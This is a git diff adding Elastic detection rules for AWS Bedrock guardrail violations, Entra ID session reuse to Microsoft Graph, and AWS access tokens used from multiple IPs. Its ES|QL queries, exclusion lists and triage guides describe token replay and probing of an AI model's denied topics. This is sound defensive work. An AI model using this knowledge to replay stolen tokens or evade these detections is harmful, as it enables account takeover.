deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from logs-aws_bedrock.invocation-*\n\n// Filter for compliance violations detected\n| where gen_ai.compliance.violation_detected\n\n// keep relevant ECS + model fields\n| keep\n user.id,\n gen_ai.request.model.id,\n cloud.account.id\n\n// count violations by user, model, and account\n| stats\n Esql.ml_violations_count = count(*)\n by\n user.id,\n gen_ai.request.model.id,\n cloud.account.id\n\n// Filter for repeated violations\n| where Esql.ml_violations_count > 1\n\n// sort descending by violation volume\n| sort Esql.ml_violations_count desc\n", + "references": [ + "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", + "https://atlas.mitre.org/techniques/AML.T0051", + "https://atlas.mitre.org/techniques/AML.T0054", + "https://www.elastic.co/security-labs/elastic-advances-llm-security" + ], + "related_integrations": [ + { + "package": "aws_bedrock", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.ml_violations_count", + "type": "long" + }, + { + "ecs": true, + "name": "cloud.account.id", + "type": "keyword" + }, + { + "ecs": false, + "name": "gen_ai.request.model.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "0cd2f3e6-41da-40e6-b28b-466f688f00a6", + "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", + "severity": "medium", + "tags": [ + "Domain: LLM", + "Data Source: AWS Bedrock", + "Data Source: AWS S3", + "Resources: Investigation Guide", + "Use Case: Policy Violation", + "Mitre Atlas: T0051", + "Mitre Atlas: T0054" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 7 + }, + "id": "0cd2f3e6-41da-40e6-b28b-466f688f00a6_7", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0d3d2254-2b4a-11f0-a019-f661ea17fbcc_6.json b/packages/security_detection_engine/kibana/security_rule/0d3d2254-2b4a-11f0-a019-f661ea17fbcc_6.json new file mode 100644 index 00000000000..94608774664 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/0d3d2254-2b4a-11f0-a019-f661ea17fbcc_6.json @@ -0,0 +1,206 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies potential session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location.", + "false_positives": [ + "This pattern may occur during legitimate device switching or roaming between networks (e.g., corporate to mobile). Developers or power users leveraging multiple environments may also trigger this detection if session persistence spans IP ranges. Still, this behavior is rare and warrants investigation when rapid IP switching and Graph access are involved." + ], + "from": "now-31m", + "interval": "30m", + "language": "esql", + "license": "Elastic License v2", + "name": "Microsoft Entra ID Suspicious Session Reuse to Graph Access", + "note": "## Triage and analysis\n\n### Investigating Microsoft Entra ID Suspicious Session Reuse to Graph Access\n\nIdentifies potential phishing, session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID and client application. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location.\n\nThis rule uses ESQL aggregations and thus has dynamically generated fields. Correlation of the values in the alert document may need to be\nperformed to the original sign-in and Graph events for further context.\n\n### Possible investigation steps\n\n- This rule relies on an aggregation-based ESQL query, therefore the alert document will contain dynamically generated fields.\n - To pivot into the original events, it is recommended to use the values captured to filter in timeline or discovery for the original sign-in and Graph events.\n- Review the session ID and user ID to identify the user account involved in the suspicious activity.\n- Check the source addresses involved in the sign-in and Graph access to determine if they are known or expected locations for the user.\n - The sign-in source addresses should be two, one for the initial phishing sign-in and the other when exchanging the auth code for a token by the adversary.\n - The Graph API source address should identify the IP address used by the adversary to access Microsoft Graph.\n- Review the user agent strings for the sign-in and Graph access events to identify any anomalies or indicators of compromise.\n- Analyze the Graph permission scopes to identify what resources were accessed and whether they align with the user's expected behavior.\n- Check the timestamp difference between the sign-in and Graph access events to determine if they occurred within a reasonable time frame that would suggest successful phishing to token issuance and then Graph access.\n- Identify the original sign-in event to investigation if conditional access policies were applied, such as requiring multi-factor authentication or blocking access from risky locations. In phishing scenarios, these policies likely were applied as the victim user would have been prompted to authenticate.\n\n### False positive analysis\n- This pattern may occur during legitimate device switching or roaming between networks (e.g., corporate to mobile).\n- Developers or power users leveraging multiple environments may also trigger this detection if session persistence spans IP ranges. Still, this behavior is rare and warrants investigation when rapid IP switching and Graph access are involved.\n\n### Response and remediation\n\n- If confirmed malicious, revoke all refresh/access tokens for the user principal.\n- Block the source IP(s) involved in the Graph access.\n- Notify the user and reset credentials.\n- Review session control policies and conditional access enforcement.\n- Monitor for follow-on activity, such as lateral movement or privilege escalation.\n- Review conditional access policies to ensure they are enforced correctly.\n", + "query": "from logs-azure.signinlogs-*, logs-azure.graphactivitylogs-* metadata _id, _version, _index\n| where\n (event.dataset == \"azure.signinlogs\"\n and source.`as`.organization.name != \"MICROSOFT-CORP-MSN-AS-BLOCK\"\n and azure.signinlogs.properties.session_id is not null)\n or\n (event.dataset == \"azure.graphactivitylogs\"\n and source.`as`.organization.name != \"MICROSOFT-CORP-MSN-AS-BLOCK\"\n and azure.graphactivitylogs.properties.c_sid is not null)\n\n| eval\n Esql.azure_signinlogs_properties_session_id_coalesce = coalesce(azure.signinlogs.properties.session_id, azure.graphactivitylogs.properties.c_sid),\n Esql.azure_signinlogs_properties_user_id_coalesce = coalesce(azure.signinlogs.properties.user_id, azure.graphactivitylogs.properties.user_principal_object_id),\n Esql.azure_signinlogs_properties_app_id_coalesce = coalesce(azure.signinlogs.properties.app_id, azure.graphactivitylogs.properties.app_id),\n Esql.source_ip = source.ip,\n Esql.@timestamp = @timestamp,\n Esql.event_type_case = case(\n event.dataset == \"azure.signinlogs\", \"signin\",\n event.dataset == \"azure.graphactivitylogs\", \"graph\",\n \"other\"\n )\n\n| where Esql.azure_signinlogs_properties_app_id_coalesce not in (\n \"4354e225-50c9-4423-9ece-2d5afd904870\", // Augmentation Loop\n \"cc15fd57-2c6c-4117-a88c-83b1d56b4bbe\", // Microsoft Teams Services\n \"ecd6b820-32c2-49b6-98a6-444530e5a77a\", // Microsoft Edge [Community Contributed]\n \"e8be65d6-d430-4289-a665-51bf2a194bda\", // Microsoft 365 App Catalog Services\n \"ab9b8c07-8f02-4f72-87fa-80105867a763\", // OneDrive SyncEngine\n \"394866fc-eedb-4f01-8536-3ff84b16be2a\", // Microsoft People Cards Service\n \"66a88757-258c-4c72-893c-3e8bed4d6899\", // Office 365 Search Service\n \"9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7\", // Bing\n \"d7b530a4-7680-4c23-a8bf-c52c121d2e87\", // Microsoft Edge Enterprise New Tab Page [Community Contributed]\n \"6f7e0f60-9401-4f5b-98e2-cf15bd5fd5e3\", // Microsoft Application Command Service [Community Contributed]\n \"52c2e0b5-c7b6-4d11-a89c-21e42bcec444\", // Graph Files Manager\n \"27922004-5251-4030-b22d-91ecd9a37ea4\", // Outlook Mobile\n \"bb893c22-978d-4cd4-a6f7-bb6cc0d6e6ce\", // Olympus [Community Contributed]\n \"26a7ee05-5602-4d76-a7ba-eae8b7b67941\", // Windows Search\n \"66a88757-258c-4c72-893c-3e8bed4d6899\", // Office 365 Search Service\n \"9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7\", // Bing\n \"d7b530a4-7680-4c23-a8bf-c52c121d2e87\", // Microsoft Edge Enterprise New Tab Page [Community Contributed]\n \"00000007-0000-0000-c000-000000000000\", // Dataverse\n \"6bc3b958-689b-49f5-9006-36d165f30e00\", // Teams CMD Services Artifacts\n \"0ec893e0-5785-4de6-99da-4ed124e5296c\", // Office UWP PWA [Community Contributed]\n \"fc108d3f-543d-4374-bbff-c7c51f651fe5\", // Zoom\n \"01fc33a7-78ba-4d2f-a4b7-768e336e890e\" // MS PIM\n )\n\n| keep\n Esql.azure_signinlogs_properties_session_id_coalesce,\n Esql.source_ip,\n Esql.@timestamp,\n Esql.event_type_case,\n Esql.azure_signinlogs_properties_user_id_coalesce,\n Esql.azure_signinlogs_properties_app_id_coalesce,\n source.`as`.organization.name,\n user_agent.original,\n url.original,\n azure.graphactivitylogs.properties.scopes,\n azure.signinlogs.properties.user_principal_name\n\n| stats\n Esql.azure_signinlogs_properties_user_id_coalesce_values = values(Esql.azure_signinlogs_properties_user_id_coalesce),\n Esql.azure_signinlogs_properties_session_id_coalesce_values = values(Esql.azure_signinlogs_properties_session_id_coalesce),\n Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name),\n Esql.source_ip_values = values(Esql.source_ip),\n Esql.source_ip_count_distinct = count_distinct(Esql.source_ip),\n Esql.source_as_organization_name_values = values(source.`as`.organization.name),\n Esql.user_agent_original_values = values(user_agent.original),\n Esql.azure_signinlogs_properties_app_id_coalesce_values = values(Esql.azure_signinlogs_properties_app_id_coalesce),\n Esql.azure_signinlogs_properties_app_id_coalesce_count_distinct = count_distinct(Esql.azure_signinlogs_properties_app_id_coalesce),\n Esql.event_type_case_values = values(Esql.event_type_case),\n Esql.event_type_case_count_distinct = count_distinct(Esql.event_type_case),\n Esql.signin_time_min = min(case(Esql.event_type_case == \"signin\", Esql.@timestamp, null)),\n Esql.graph_time_min = min(case(Esql.event_type_case == \"graph\", Esql.@timestamp, null)),\n Esql.url_original_values = values(url.original),\n Esql.azure_graphactivitylogs_properties_scopes_values = values(azure.graphactivitylogs.properties.scopes),\n Esql.event_count = count()\n by\n Esql.azure_signinlogs_properties_session_id_coalesce,\n Esql.azure_signinlogs_properties_app_id_coalesce,\n Esql.azure_signinlogs_properties_user_id_coalesce\n\n| eval\n Esql.event_signin_to_graph_delay_minutes_date_diff = date_diff(\"minutes\", Esql.signin_time_min, Esql.graph_time_min),\n Esql.event_signin_to_graph_delay_days_date_diff = date_diff(\"days\", Esql.signin_time_min, Esql.graph_time_min)\n\n| where\n Esql.event_type_case_count_distinct > 1 and\n Esql.source_ip_count_distinct > 1 and\n Esql.azure_signinlogs_properties_app_id_coalesce_count_distinct == 1 and\n Esql.signin_time_min is not null and\n Esql.graph_time_min is not null and\n Esql.event_signin_to_graph_delay_minutes_date_diff >= 0 and\n Esql.event_signin_to_graph_delay_days_date_diff == 0\n", + "references": [ + "https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/", + "https://github.com/dirkjanm/ROADtools", + "https://attack.mitre.org/techniques/T1078/004/" + ], + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.azure_graphactivitylogs_properties_scopes_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_id_coalesce", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_id_coalesce_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_id_coalesce_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_session_id_coalesce", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_session_id_coalesce_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_user_id_coalesce", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_user_id_coalesce_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_signin_to_graph_delay_days_date_diff", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.event_signin_to_graph_delay_minutes_date_diff", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.event_type_case_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_type_case_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.graph_time_min", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.signin_time_min", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.url_original_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.user_agent_original_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql_priv.azure_signinlogs_properties_user_principal_name_values", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "0d3d2254-2b4a-11f0-a019-f661ea17fbcc", + "setup": "#### Required Microsoft Entra ID Sign-In and Graph Activity Logs\nThis rule requires the Microsoft Entra ID Sign-In Logs and Microsoft Graph Activity Logs integration to be enabled and configured to collect audit and activity logs via Azure Event Hub.\n", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: Identity", + "Domain: API", + "Data Source: Azure", + "Data Source: Microsoft Entra ID", + "Data Source: Microsoft Entra ID Sign-In Logs", + "Data Source: Microsoft Graph", + "Data Source: Microsoft Graph Activity Logs", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Resources: Investigation Guide", + "Tactic: Defense Evasion", + "Tactic: Initial Access" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.004", + "name": "Cloud Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1550", + "name": "Use Alternate Authentication Material", + "reference": "https://attack.mitre.org/techniques/T1550/", + "subtechnique": [ + { + "id": "T1550.001", + "name": "Application Access Token", + "reference": "https://attack.mitre.org/techniques/T1550/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "0d3d2254-2b4a-11f0-a019-f661ea17fbcc_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0d92d30a-5f3e-4b71-bc3d-4a0c4914b7e0_104.json b/packages/security_detection_engine/kibana/security_rule/0d92d30a-5f3e-4b71-bc3d-4a0c4914b7e0_104.json new file mode 100644 index 00000000000..4cb1935fcc6 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/0d92d30a-5f3e-4b71-bc3d-4a0c4914b7e0_104.json @@ -0,0 +1,205 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule identifies potentially suspicious activity by detecting instances where a single IAM user's temporary session token is accessed from multiple IP addresses within a short time frame. Such behavior may suggest that an adversary has compromised temporary credentials and is utilizing them from various locations. To enhance detection accuracy and minimize false positives, the rule incorporates criteria that evaluate unique IP addresses, user agents, cities, and networks. These additional checks help distinguish between legitimate distributed access patterns and potential credential misuse. Detected activities are classified into different types based on the combination of unique indicators, with each classification assigned a fidelity score reflecting the likelihood of malicious behavior. High fidelity scores are given to patterns most indicative of threats, such as multiple unique IPs, networks, cities, and user agents. Medium and low fidelity scores correspond to less severe patterns, enabling security teams to effectively prioritize alerts.", + "false_positives": [ + "Highly distributed environments (e.g., globally deployed automation or edge nodes) may cause a single IAM user to appear from multiple IPs. Review the geolocation, network context, and user agent patterns to rule out benign use." + ], + "from": "now-32m", + "interval": "5m", + "investigation_fields": { + "field_names": [ + "Esql.timestamp_first_seen", + "Esql.timestamp_last_seen", + "Esql.activity_type", + "Esql.activity_fidelity_score", + "Esql.event_count", + "Esql.aws_cloudtrail_user_identity_arn_values", + "Esql.aws_cloudtrail_user_identity_access_key_id_values", + "Esql.event_action_values", + "Esql.event_provider_values", + "Esql.source_ip_values", + "Esql.user_agent_original_values", + "Esql.source_ip_user_agent_pair_values", + "Esql.source_geo_city_name_values", + "Esql.source_ip_city_pair_values", + "Esql.source_network_org_name_values", + "Esql.source_ip_network_pair_values", + "Esql.source_ip_count_distinct", + "Esql.user_agent_original_count_distinct", + "Esql.source_geo_city_name_count_distinct", + "Esql.source_network_org_name_count_distinct" + ] + }, + "language": "esql", + "license": "Elastic License v2", + "name": "AWS Access Token Used from Multiple Addresses", + "note": "## Triage and Analysis\n\n### Investigating AWS Access Token Used from Multiple Addresses\n\nAccess tokens are bound to a single user. Usage from multiple IP addresses may indicate the token was stolen and used elsewhere. By correlating this with additional detection criteria like multiple user agents, different cities, and different networks, we can improve the fidelity of the rule and help to eliminate false positives associated with expected behavior, like dual-stack IPV4/IPV6 usage.\n\n#### Possible Investigation Steps\n\n- **Identify the IAM User**: Examine the `aws.cloudtrail.user_identity.arn` stored in `user_id` and correlate with the `source.ips` stored in `ip_list` and `unique_ips` count to determine how widely the token was used.\n- **Correlate Additional Detection Context**: Examine `activity_type` and `fidelity_score` to determine additional cities, networks or user agents associated with the token usage.\n- **Determine Access Key Type**: Examine the `access_key_id` to determine whether the token is short-term (beginning with ASIA) or long-term (beginning with AKIA).\n- **Check Recent MFA Events**: Determine whether the user recently enabled MFA, registered devices, or assumed a role using this token.\n- **Review Workload Context**: Confirm whether the user was expected to be active across multiple cities, networks or user agent environments.\n- **Trace Adversary Movement**: Pivot to related actions (e.g., `s3:ListBuckets`, `iam:ListUsers`, `sts:GetCallerIdentity`) to track further enumeration.\n\n### False Positive Analysis\n\n- Automation frameworks that rotate through multiple IPs or cloud functions with dynamic egress IPs may cause this alert to fire.\n- Confirm geolocation and workload context before escalating.\n\n### Response and Remediation\n\n- **Revoke the Token**: Disable or rotate the IAM credentials and invalidate the temporary session token.\n- **Audit the Environment**: Look for signs of lateral movement or data access during the token's validity.\n- **Strengthen Controls**: Require MFA for high-privilege actions, restrict access via policy conditions (e.g., IP range or device).\n\n### References\n\n- [IAM Long-Term Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html)\n- [STS Temporary Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)\n- [Using MFA with Temporary Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_enable-regions.html)\n- [AWS Threat Detection Use Cases](https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-fsbp-controls.html)\n", + "query": "from logs-aws.cloudtrail* metadata _id, _version, _index\n| where @timestamp > now() - 30 minutes\n and event.dataset == \"aws.cloudtrail\"\n and aws.cloudtrail.user_identity.arn is not null\n and aws.cloudtrail.user_identity.type == \"IAMUser\"\n and source.ip is not null\n and aws.cloudtrail.user_identity.access_key_id is not null\n and not (\n user_agent.original like \"*Terraform*\" or\n user_agent.original like \"*Ansible*\" or\n user_agent.original like \"*Pulumi*\"\n )\n and `source.as.organization.name` != \"AMAZON-AES\"\n and not ((\n `source.as.organization.name` == \"AMAZON-02\" and aws.cloudtrail.event_category == \"Data\"))\n and event.provider not in (\n \"health.amazonaws.com\", \"monitoring.amazonaws.com\", \"notifications.amazonaws.com\",\n \"ce.amazonaws.com\", \"cost-optimization-hub.amazonaws.com\",\n \"servicecatalog-appregistry.amazonaws.com\", \"securityhub.amazonaws.com\", \n \"account.amazonaws.com\", \"budgets.amazonaws.com\", \"freetier.amazonaws.com\"\n )\n\n| eval\n Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp),\n Esql.aws_cloudtrail_user_identity_arn = aws.cloudtrail.user_identity.arn,\n Esql.aws_cloudtrail_user_identity_access_key_id = aws.cloudtrail.user_identity.access_key_id,\n Esql.source_ip = source.ip,\n Esql.user_agent_original = user_agent.original,\n Esql.source_ip_string = to_string(source.ip),\n Esql.source_ip_user_agent_pair = concat(Esql.source_ip_string, \" - \", user_agent.original),\n Esql.source_ip_city_pair = concat(Esql.source_ip_string, \" - \", source.geo.city_name),\n Esql.source_geo_city_name = source.geo.city_name,\n Esql.source_network_org_name = `source.as.organization.name`,\n Esql.source_ip_network_pair = concat(Esql.source_ip_string, \"-\", `source.as.organization.name`),\n Esql.event_timestamp = @timestamp\n\n| stats\n Esql.event_action_values = values(event.action),\n Esql.event_provider_values = values(event.provider),\n Esql.aws_cloudtrail_user_identity_access_key_id_values = values(Esql.aws_cloudtrail_user_identity_access_key_id),\n Esql.aws_cloudtrail_user_identity_arn_values = values(Esql.aws_cloudtrail_user_identity_arn),\n Esql.source_ip_values = values(Esql.source_ip),\n Esql.user_agent_original_values = values(Esql.user_agent_original),\n Esql.source_ip_user_agent_pair_values = values(Esql.source_ip_user_agent_pair),\n Esql.source_geo_city_name_values = values(Esql.source_geo_city_name),\n Esql.source_ip_city_pair_values = values(Esql.source_ip_city_pair),\n Esql.source_network_org_name_values = values(Esql.source_network_org_name),\n Esql.source_ip_network_pair_values = values(Esql.source_ip_network_pair),\n Esql.source_ip_count_distinct = count_distinct(Esql.source_ip),\n Esql.user_agent_original_count_distinct = count_distinct(Esql.user_agent_original),\n Esql.source_geo_city_name_count_distinct = count_distinct(Esql.source_geo_city_name),\n Esql.source_network_org_name_count_distinct = count_distinct(Esql.source_network_org_name),\n Esql.timestamp_first_seen = min(Esql.event_timestamp),\n Esql.timestamp_last_seen = max(Esql.event_timestamp),\n Esql.event_count = count()\n by Esql.time_window_date_trunc, Esql.aws_cloudtrail_user_identity_access_key_id\n\n| eval\n Esql.activity_type = case(\n Esql.source_ip_count_distinct >= 2 and Esql.source_network_org_name_count_distinct >= 2 and Esql.source_geo_city_name_count_distinct >= 2 and Esql.user_agent_original_count_distinct >= 2, \"multiple_ip_network_city_user_agent\",\n Esql.source_ip_count_distinct >= 2 and Esql.source_network_org_name_count_distinct >= 2 and Esql.source_geo_city_name_count_distinct >= 2, \"multiple_ip_network_city\",\n Esql.source_ip_count_distinct >= 2 and Esql.source_geo_city_name_count_distinct >= 2, \"multiple_ip_and_city\",\n Esql.source_ip_count_distinct >= 2 and Esql.source_network_org_name_count_distinct >= 2, \"multiple_ip_and_network\",\n Esql.source_ip_count_distinct >= 2 and Esql.user_agent_original_count_distinct >= 2, \"multiple_ip_and_user_agent\",\n \"normal_activity\"\n ),\n Esql.activity_fidelity_score = case(\n Esql.activity_type == \"multiple_ip_network_city_user_agent\", \"high\",\n Esql.activity_type == \"multiple_ip_network_city\", \"high\",\n Esql.activity_type == \"multiple_ip_and_city\", \"medium\",\n Esql.activity_type == \"multiple_ip_and_network\", \"medium\",\n Esql.activity_type == \"multiple_ip_and_user_agent\", \"low\"\n )\n\n| keep\n Esql.time_window_date_trunc,\n Esql.activity_type,\n Esql.activity_fidelity_score,\n Esql.event_count,\n Esql.timestamp_first_seen,\n Esql.timestamp_last_seen,\n Esql.aws_cloudtrail_user_identity_arn_values,\n Esql.aws_cloudtrail_user_identity_access_key_id_values,\n Esql.event_action_values,\n Esql.event_provider_values,\n Esql.source_ip_values,\n Esql.user_agent_original_values,\n Esql.source_ip_user_agent_pair_values,\n Esql.source_geo_city_name_values,\n Esql.source_ip_city_pair_values,\n Esql.source_network_org_name_values,\n Esql.source_ip_network_pair_values,\n Esql.source_ip_count_distinct,\n Esql.user_agent_original_count_distinct,\n Esql.source_geo_city_name_count_distinct,\n Esql.source_network_org_name_count_distinct\n\n| where Esql.activity_type != \"normal_activity\"\n", + "references": [ + "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/" + ], + "related_integrations": [ + { + "package": "aws", + "version": "^4.0.0" + }, + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.activity_fidelity_score", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.activity_type", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.aws_cloudtrail_user_identity_access_key_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.aws_cloudtrail_user_identity_arn_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_action_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_provider_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_city_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_geo_city_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_city_pair_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_ip_network_pair_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_user_agent_pair_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.source_network_org_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_network_org_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.timestamp_first_seen", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.timestamp_last_seen", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.user_agent_original_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.user_agent_original_values", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "0d92d30a-5f3e-4b71-bc3d-4a0c4914b7e0", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS IAM", + "Data Source: AWS CloudTrail", + "Tactic: Initial Access", + "Use Case: Identity and Access Audit", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.004", + "name": "Cloud Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 104 + }, + "id": "0d92d30a-5f3e-4b71-bc3d-4a0c4914b7e0_104", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0e1af929-42ed-4262-a846-55a7c54e7c84_4.json b/packages/security_detection_engine/kibana/security_rule/0e1af929-42ed-4262-a846-55a7c54e7c84_4.json new file mode 100644 index 00000000000..16a3da58804 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/0e1af929-42ed-4262-a846-55a7c54e7c84_4.json @@ -0,0 +1,61 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'sensitive_information_policy', indicating persistent misuse or attempts to probe the model's denied topics.", + "false_positives": [ + "New model deployments.", + "Testing updates to compliance policies." + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Unusual High Denied Sensitive Information Policy Blocks Detected", + "note": "## Triage and analysis\n\n### Investigating Unusual High Denied Sensitive Information Policy Blocks Detected\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can define \"sensitive information filters\" to prevent the model from generating content on specific, undesired subjects,\nand they can establish thresholds for harmful content categories.\n\n#### Possible investigation steps\n\n- Identify the user account that queried sensitive information and whether it should perform this kind of action.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from logs-aws_bedrock.invocation-*\n\n// Expand 